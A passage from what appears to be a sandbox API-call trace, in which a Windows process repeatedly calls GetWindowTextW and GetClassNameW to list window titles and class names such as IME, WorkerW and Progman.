(in: hWnd=0x101e0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="BluetoothNotificationAreaIconWindowClass") returned 40 [0132.347] GetClassNameW (in: hWnd=0x101e0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0132.348] GetWindowTextW (in: hWnd=0x101dc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.361] GetClassNameW (in: hWnd=0x101dc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="PNIHiddenWnd") returned 12 [0132.361] GetWindowTextW (in: hWnd=0x101d8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.361] GetClassNameW (in: hWnd=0x101d8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.361] GetWindowTextW (in: hWnd=0x101d4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.362] GetClassNameW (in: hWnd=0x101d4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.362] GetWindowTextW (in: hWnd=0x101d0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.362] GetClassNameW (in: hWnd=0x101d0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.362] GetWindowTextW (in: hWnd=0x101c2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.362] GetClassNameW (in: hWnd=0x101c2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ATL:00007FFFE39A7080") returned 20 [0132.362] GetWindowTextW (in: hWnd=0x101ba, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.362] GetClassNameW (in: hWnd=0x101ba, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.362] GetWindowTextW (in: hWnd=0x101aa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Battery Meter") returned 13 [0132.363] GetClassNameW (in: hWnd=0x101aa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="SystemTray_Main") returned 15 [0132.363] GetWindowTextW (in: hWnd=0x101a6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.363] GetClassNameW (in: hWnd=0x101a6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.363] GetWindowTextW (in: hWnd=0x20186, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0132.363] GetClassNameW (in: hWnd=0x20186, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0132.363] GetWindowTextW (in: hWnd=0x10188, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Task Host Window") returned 16 [0132.364] GetClassNameW (in: hWnd=0x10188, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0132.364] GetWindowTextW (in: hWnd=0x1011c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.364] GetClassNameW (in: hWnd=0x1011c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.364] GetWindowTextW (in: hWnd=0x10124, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.364] GetClassNameW (in: hWnd=0x10124, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabletModeCoverWindow") returned 21 [0132.364] GetWindowTextW (in: hWnd=0x10198, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.364] GetClassNameW (in: hWnd=0x10198, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.364] GetWindowTextW (in: hWnd=0x1019a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.364] GetClassNameW (in: hWnd=0x1019a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.365] GetWindowTextW (in: hWnd=0x10122, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.365] GetClassNameW (in: hWnd=0x10122, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0132.365] GetWindowTextW (in: hWnd=0x1011a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.365] GetClassNameW (in: hWnd=0x1011a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0132.365] GetWindowTextW (in: hWnd=0x100fc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Windows Push Notifications Platform") returned 35 [0132.365] GetClassNameW (in: hWnd=0x100fc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0132.365] GetWindowTextW (in: hWnd=0x100f8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0132.365] GetClassNameW (in: hWnd=0x100f8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0132.366] GetWindowTextW (in: hWnd=0x100f6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.366] GetClassNameW (in: hWnd=0x100f6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.366] GetWindowTextW (in: hWnd=0x100f2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.366] GetClassNameW (in: hWnd=0x100f2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0132.366] GetWindowTextW (in: hWnd=0x100ee, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.366] GetClassNameW (in: hWnd=0x100ee, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.366] GetWindowTextW (in: hWnd=0x100ea, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.366] GetClassNameW (in: hWnd=0x100ea, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.366] GetWindowTextW (in: hWnd=0x200e0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.367] GetClassNameW (in: hWnd=0x200e0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.367] GetWindowTextW (in: hWnd=0x100ca, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.367] GetClassNameW (in: hWnd=0x100ca, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.367] GetWindowTextW (in: hWnd=0x100b6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.367] GetClassNameW (in: hWnd=0x100b6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0132.367] GetWindowTextW (in: hWnd=0x20072, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.367] GetClassNameW (in: hWnd=0x20072, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0132.367] GetWindowTextW (in: hWnd=0x4006e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.367] GetClassNameW (in: hWnd=0x4006e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0132.368] GetWindowTextW (in: hWnd=0x10024, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DWM Notification Window") returned 23 [0132.368] GetClassNameW (in: hWnd=0x10024, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Dwm") returned 3 [0132.368] GetWindowTextW (in: hWnd=0x101a4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.368] GetClassNameW (in: hWnd=0x101a4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="CicLoaderWndClass") returned 17 [0132.368] GetWindowTextW (in: hWnd=0x30302, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.368] GetClassNameW (in: hWnd=0x30302, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0132.368] GetWindowTextW (in: hWnd=0x3028e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.368] GetClassNameW (in: hWnd=0x3028e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0132.369] GetWindowTextW (in: hWnd=0x100d8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Program Manager") returned 15 [0132.369] GetClassNameW (in: hWnd=0x100d8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Progman") returned 7 [0132.369] GetWindowTextW (in: hWnd=0x10134, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.369] GetClassNameW (in: hWnd=0x10134, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.369] GetWindowTextW (in: hWnd=0x200a8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0132.369] GetClassNameW (in: hWnd=0x200a8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0132.369] GetWindowTextW (in: hWnd=0x10086, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.369] GetClassNameW (in: hWnd=0x10086, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.369] GetWindowTextW (in: hWnd=0x20312, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.370] GetClassNameW (in: hWnd=0x20312, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.370] GetWindowTextW (in: hWnd=0x702a6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.370] GetClassNameW (in: hWnd=0x702a6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.370] GetWindowTextW (in: hWnd=0x20270, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.370] GetClassNameW (in: hWnd=0x20270, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.370] GetWindowTextW (in: hWnd=0x202e2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.370] GetClassNameW (in: hWnd=0x202e2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.370] GetWindowTextW (in: hWnd=0x140206, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.370] GetClassNameW (in: hWnd=0x140206, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.371] GetWindowTextW (in: hWnd=0x1035e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.371] GetClassNameW (in: hWnd=0x1035e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.371] GetWindowTextW (in: hWnd=0x1035c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.371] GetClassNameW (in: hWnd=0x1035c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.371] GetWindowTextW (in: hWnd=0x1035a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.371] GetClassNameW (in: hWnd=0x1035a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.371] GetWindowTextW (in: hWnd=0x10358, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.371] GetClassNameW (in: hWnd=0x10358, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.371] GetWindowTextW (in: hWnd=0x10356, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.372] GetClassNameW (in: hWnd=0x10356, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.372] GetWindowTextW (in: hWnd=0x10354, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.372] GetClassNameW (in: hWnd=0x10354, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.372] GetWindowTextW (in: hWnd=0x10352, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.372] GetClassNameW (in: hWnd=0x10352, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.372] GetWindowTextW (in: hWnd=0x1034a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.372] GetClassNameW (in: hWnd=0x1034a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.372] GetWindowTextW (in: hWnd=0x10346, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.372] GetClassNameW (in: hWnd=0x10346, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.373] GetWindowTextW (in: hWnd=0x10344, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.373] GetClassNameW (in: hWnd=0x10344, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.373] GetWindowTextW (in: hWnd=0x1033c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.373] GetClassNameW (in: hWnd=0x1033c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.373] GetWindowTextW (in: hWnd=0x1033a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.373] GetClassNameW (in: hWnd=0x1033a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.373] GetWindowTextW (in: hWnd=0x10334, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.373] GetClassNameW (in: hWnd=0x10334, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.373] GetWindowTextW (in: hWnd=0x1032a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.374] GetClassNameW (in: hWnd=0x1032a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.374] GetWindowTextW (in: hWnd=0x10320, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.374] GetClassNameW (in: hWnd=0x10320, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.374] GetWindowTextW (in: hWnd=0x1031e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.374] GetClassNameW (in: hWnd=0x1031e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.374] GetWindowTextW (in: hWnd=0x10314, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.374] GetClassNameW (in: hWnd=0x10314, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.374] GetWindowTextW (in: hWnd=0x1030a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.374] GetClassNameW (in: hWnd=0x1030a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.375] GetWindowTextW (in: hWnd=0x10308, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.375] GetClassNameW (in: hWnd=0x10308, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.375] GetWindowTextW (in: hWnd=0x102fc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.375] GetClassNameW (in: hWnd=0x102fc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.375] GetWindowTextW (in: hWnd=0x102fa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.375] GetClassNameW (in: hWnd=0x102fa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.375] GetWindowTextW (in: hWnd=0x102f8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.375] GetClassNameW (in: hWnd=0x102f8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.375] GetWindowTextW (in: hWnd=0x102ea, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.376] GetClassNameW (in: hWnd=0x102ea, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.376] GetWindowTextW (in: hWnd=0x102de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.376] GetClassNameW (in: hWnd=0x102de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.376] GetWindowTextW (in: hWnd=0x102d4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.376] GetClassNameW (in: hWnd=0x102d4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.376] GetWindowTextW (in: hWnd=0x102d0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.376] GetClassNameW (in: hWnd=0x102d0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.376] GetWindowTextW (in: hWnd=0x102ce, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.377] GetClassNameW (in: hWnd=0x102ce, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.377] GetWindowTextW (in: hWnd=0x102cc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.377] GetClassNameW (in: hWnd=0x102cc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.377] GetWindowTextW (in: hWnd=0x102ca, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.377] GetClassNameW (in: hWnd=0x102ca, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.377] GetWindowTextW (in: hWnd=0x102c8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.377] GetClassNameW (in: hWnd=0x102c8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.377] GetWindowTextW (in: hWnd=0x102c6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.377] GetClassNameW (in: hWnd=0x102c6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.378] GetWindowTextW (in: hWnd=0x102c4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.378] GetClassNameW (in: hWnd=0x102c4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.378] GetWindowTextW (in: hWnd=0x102c2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.378] GetClassNameW (in: hWnd=0x102c2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.378] GetWindowTextW (in: hWnd=0x102c0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.378] GetClassNameW (in: hWnd=0x102c0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.378] GetWindowTextW (in: hWnd=0x102be, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.378] GetClassNameW (in: hWnd=0x102be, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.378] GetWindowTextW (in: hWnd=0x102bc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.379] GetClassNameW (in: hWnd=0x102bc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.379] GetWindowTextW (in: hWnd=0x102ba, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.389] GetClassNameW (in: hWnd=0x102ba, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.389] GetWindowTextW (in: hWnd=0x102b8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.389] GetClassNameW (in: hWnd=0x102b8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.389] GetWindowTextW (in: hWnd=0x102b6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.389] GetClassNameW (in: hWnd=0x102b6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.389] GetWindowTextW (in: hWnd=0x102b4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.389] GetClassNameW (in: hWnd=0x102b4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.389] GetWindowTextW (in: hWnd=0x3013c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.389] GetClassNameW (in: hWnd=0x3013c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.390] GetWindowTextW (in: hWnd=0x401ca, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.390] GetClassNameW (in: hWnd=0x401ca, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.390] GetWindowTextW (in: hWnd=0x102ae, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.390] GetClassNameW (in: hWnd=0x102ae, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.390] GetWindowTextW (in: hWnd=0x102a8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.390] GetClassNameW (in: hWnd=0x102a8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.390] GetWindowTextW (in: hWnd=0x1029e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.390] GetClassNameW (in: hWnd=0x1029e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.390] GetWindowTextW (in: hWnd=0x10296, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.391] GetClassNameW (in: hWnd=0x10296, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.391] GetWindowTextW (in: hWnd=0x1028c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.391] GetClassNameW (in: hWnd=0x1028c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.391] GetWindowTextW (in: hWnd=0x1028a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.391] GetClassNameW (in: hWnd=0x1028a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.391] GetWindowTextW (in: hWnd=0x10280, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.391] GetClassNameW (in: hWnd=0x10280, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.391] GetWindowTextW (in: hWnd=0x10276, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.392] GetClassNameW (in: hWnd=0x10276, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.392] GetWindowTextW (in: hWnd=0x1026c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.392] GetClassNameW (in: hWnd=0x1026c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.392] GetWindowTextW (in: hWnd=0x10262, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.392] GetClassNameW (in: hWnd=0x10262, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.392] GetWindowTextW (in: hWnd=0x10258, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.392] GetClassNameW (in: hWnd=0x10258, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.392] GetWindowTextW (in: hWnd=0x10256, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.392] GetClassNameW (in: hWnd=0x10256, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.393] GetWindowTextW (in: hWnd=0x10248, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.393] GetClassNameW (in: hWnd=0x10248, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.393] GetWindowTextW (in: hWnd=0x10242, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.393] GetClassNameW (in: hWnd=0x10242, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.393] GetWindowTextW (in: hWnd=0x10232, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.393] GetClassNameW (in: hWnd=0x10232, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.393] GetWindowTextW (in: hWnd=0x10230, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.393] GetClassNameW (in: hWnd=0x10230, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.393] GetWindowTextW (in: hWnd=0x10228, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.394] GetClassNameW (in: hWnd=0x10228, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.394] GetWindowTextW (in: hWnd=0x10212, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.394] GetClassNameW (in: hWnd=0x10212, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.394] GetWindowTextW (in: hWnd=0x10210, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.394] GetClassNameW (in: hWnd=0x10210, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.394] GetWindowTextW (in: hWnd=0x1020c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.394] GetClassNameW (in: hWnd=0x1020c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.394] GetWindowTextW (in: hWnd=0x2012e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.394] GetClassNameW (in: hWnd=0x2012e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.394] GetWindowTextW (in: hWnd=0x60316, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.405] GetClassNameW (in: hWnd=0x60316, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.405] GetWindowTextW (in: hWnd=0x5007c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.405] GetClassNameW (in: hWnd=0x5007c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.405] GetWindowTextW (in: hWnd=0x101d6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.405] GetClassNameW (in: hWnd=0x101d6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.405] GetWindowTextW (in: hWnd=0x101c4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.405] GetClassNameW (in: hWnd=0x101c4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.406] GetWindowTextW (in: hWnd=0x101a8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.406] GetClassNameW (in: hWnd=0x101a8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.406] GetWindowTextW (in: hWnd=0x1018a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.406] GetClassNameW (in: hWnd=0x1018a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.406] GetWindowTextW (in: hWnd=0x100fe, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.406] GetClassNameW (in: hWnd=0x100fe, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.406] GetWindowTextW (in: hWnd=0x100fa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0132.406] GetClassNameW (in: hWnd=0x100fa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0132.406] 